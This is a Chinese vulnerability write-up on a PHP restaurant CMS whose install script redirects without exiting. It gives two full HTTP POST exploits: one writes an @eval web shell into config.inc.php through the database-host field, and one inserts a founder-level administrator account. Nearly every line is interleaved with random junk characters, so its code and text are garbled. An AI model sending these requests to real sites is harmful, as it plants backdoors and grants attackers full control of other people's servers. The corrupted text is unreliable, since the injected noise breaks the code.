问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。
0 A4 h4 g0 j6 x, @" h& }0 E2 _
3 k Q9 b9 R; f* o8 O% ?# |6 u<?php; W& L, \( S3 l; g- K5 E) `5 g2 _
if(file_exists("../install.lock")) l0 \! j0 I0 i8 @1 P& |
{
4 I% c1 A( _, }% U# g# i- ^ X. Z header("Location: ../");//没有退出
- \+ }0 f$ ~# o}
, z1 }; ?5 X& ^ ( R x& p% L7 M- d& L" d' n
//echo 'tst';exit;
5 Y* Y# R7 b6 O* b/ ~# c0 orequire_once("init.php");) U; b) j4 {% p5 E8 i# t1 |
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
0 c9 i6 X+ h2 _& y3 j( i1 n{/ |( i: ~" C1 f# o4 d( D2 _
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。3 `( \, W' J1 p4 E
. B' p# g( {+ { y9 \3 B1、getshell(很危险)
& J5 F$ {. L1 E2 I8 uif(empty($_REQUEST['step']) || $_REQUEST['step']==1)
# \) O2 E. j! S2 z6 u" E% Y{
, W! j+ X# N) l& s% L$smarty->assign("step",1);
4 I x \* H$ G9 g$smarty->display("index.html");8 k. s0 C" m+ W( ^4 Z8 n: T
}elseif($_REQUEST['step']==2)
- r) V& D+ p2 C5 C# i/ |( A{4 Y! M2 q: ^! h) a
$mysql_host=trim($_POST['mysql_host']);
; ^( g4 m' W# `4 P L x Y $mysql_user=trim($_POST['mysql_user']);) P1 x a5 w# t# v5 U
$mysql_pwd=trim($_POST['mysql_pwd']);0 e/ N7 s! h7 s! \& _3 K0 r
$mysql_db=trim($_POST['mysql_db']);
{4 m. }9 D. k) d4 c" x H- U $tblpre=trim($_POST['tblpre']);3 q, _6 Y0 @: m( P( {
$domain==trim($_POST['domain']);' ? L( @. `$ c' G9 j+ \
$str="<?php \r\n";" K' w2 T) }, \4 o6 ]3 F$ V
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";9 }$ ]$ n. \9 A7 u' o3 A
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";& }5 r: l4 B4 u
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";0 j+ C+ L5 L! J0 ^ @3 D# d
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";' d2 z b; x( s( N* G% W4 u
$str.='define("MYSQL_CHARSET","GBK");'."\r\n";
5 i, l6 v/ u! X' O6 J $str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";3 W" P0 _! F: W1 E& S' ^( O$ Q
$str.='define("DOMAIN","'.$domain.'");'."\r\n";/ i& P8 e. _# T( C7 A1 `
$str.='define("SKINS","default");'."\r\n";
0 U2 P0 n. d7 C7 \, k; ~ $str.='?>';
$ P% B0 U F0 e2 p: K file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件+ B* m. s+ I7 D8 X
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马/ t; s0 Y& {2 o2 X
POST /canting/install/index.php?m=index&step=2 HTTP/1.1
, n4 Y- u( p6 w! Q/ THost: 192.168.80.129
; b+ C9 O3 Z; q, r* _; m) L/ g) rUser-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.03 @! J$ N9 `- E5 |1 [, ]. a
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.81 h! Z8 B( d: s7 N8 c
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
3 U' t3 x, V7 _2 ?0 h4 IAccept-Encoding: gzip, deflate; ^/ }2 R5 ?9 V* Y. p
Referer: http://192.168.80.129/canting/install/index.php?step=1. d- ^* s$ ?4 ^0 l% `
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42 B7 r7 ^4 |7 G3 S) H8 X% D0 a, e
Content-Type: application/x-www-form-urlencoded
! j& y2 ]) P9 l8 ]: J1 iContent-Length: 126- K" C6 d8 ~; [4 ^, ]- C. A8 {4 G
- ~& X' I$ G/ ?: c9 n! g: rmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD1 O+ r4 R T9 f0 F& l) k
但是这个方法很危险,将导致网站无法运行。8 z* `5 R/ h' Q8 t% S
: D7 b& _0 |) q" ^# j7 T2、直接添加管理员
( {( V9 M: W% p+ q: T* P9 k. O9 I# p& L% G R6 L: ~
elseif($_REQUEST['step']==5)1 |6 c% K" `% ~" I& C% S1 L: ?
{
+ y$ y3 O( Q; s( n5 i, f if($_POST)* s+ j( z% F; K+ O/ W. l( d8 |
{ require_once("../config/config.inc.php");
0 h9 p$ ?! x) T $link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);
* E" }. Y- `; ^# g: Y7 P$ E mysql_select_db(MYSQL_DB,$link);
+ t3 g, b$ ?8 G mysql_query("SET NAMES ".MYSQL_CHARSET ); Z. s* r; h3 u
mysql_query("SET sql_mode=''");" U- Z2 d% }, H* d9 A$ C
+ L7 G9 j: \, `& A1 u: |& o $adminname=trim($_POST['adminname']);: l9 e" \- t' B+ x9 c
$pwd1=trim($_POST['pwd1']);
* B" \, P1 T* u3 `$ `: E) n- `7 F $pwd2=trim($_POST['pwd2']);& F" j2 e$ t8 f7 x& j
if(empty($adminname))
" x3 ?2 N$ p+ ~0 o {' Z$ z7 T/ T6 n) o% f; N2 o
0 Q, V2 m/ d# G1 Y0 Q* r5 J echo "<script>alert('管理员不能为空');history.go(-1);</script>";- g5 N1 v4 C# @8 N3 \ f
exit();" y5 ~: `/ x2 O* N5 ^+ W) Z, Y5 P
}. g n4 c% |5 r* q- z
if(($pwd1!=$pwd2) or empty($pwd1))
9 S' W6 b6 R/ {+ \* X! u3 z9 K# g {0 k9 B. m5 T4 L2 a
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出- Y- }( ]: m/ T7 v z* _
}
! q$ h/ C8 c2 o$ H3 m9 U- @ mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员
5 K) ]6 M1 x1 G4 L+ S }
- ^; D5 O+ C, e6 ?. B这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:7 Q* g, I) ^4 V- G
POST /canting/install/index.php?m=index&step=5 HTTP/1.11 @. z+ O3 J$ V& x
Host: 192.168.80.129. ~0 ] [& a' J' O9 | {! h( H
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.03 u g; `+ `1 m5 W+ V: u
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8( i, c" Q% v3 ]& f
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3, G# C2 f* ^- t/ B5 Y, X
Accept-Encoding: gzip, deflate
9 y* G' f4 _; `" {% d' qReferer: http://www.2cto.com /canting/install/index.php?step=1
) Z0 F$ w' J* W4 N5 dCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
/ P% y# `* T$ ^. n$ b7 y$ `Content-Type: application/x-www-form-urlencoded% J0 e1 [6 V! k
Content-Length: 46
0 t; N! ?, e7 Y0 e5 j
9 R e0 ` D2 b2 @6 R: Nadminname=qingshen&pwd1=qingshen&pwd2=qingshen" j, z5 T* d0 _# n( p/ h! O: P
|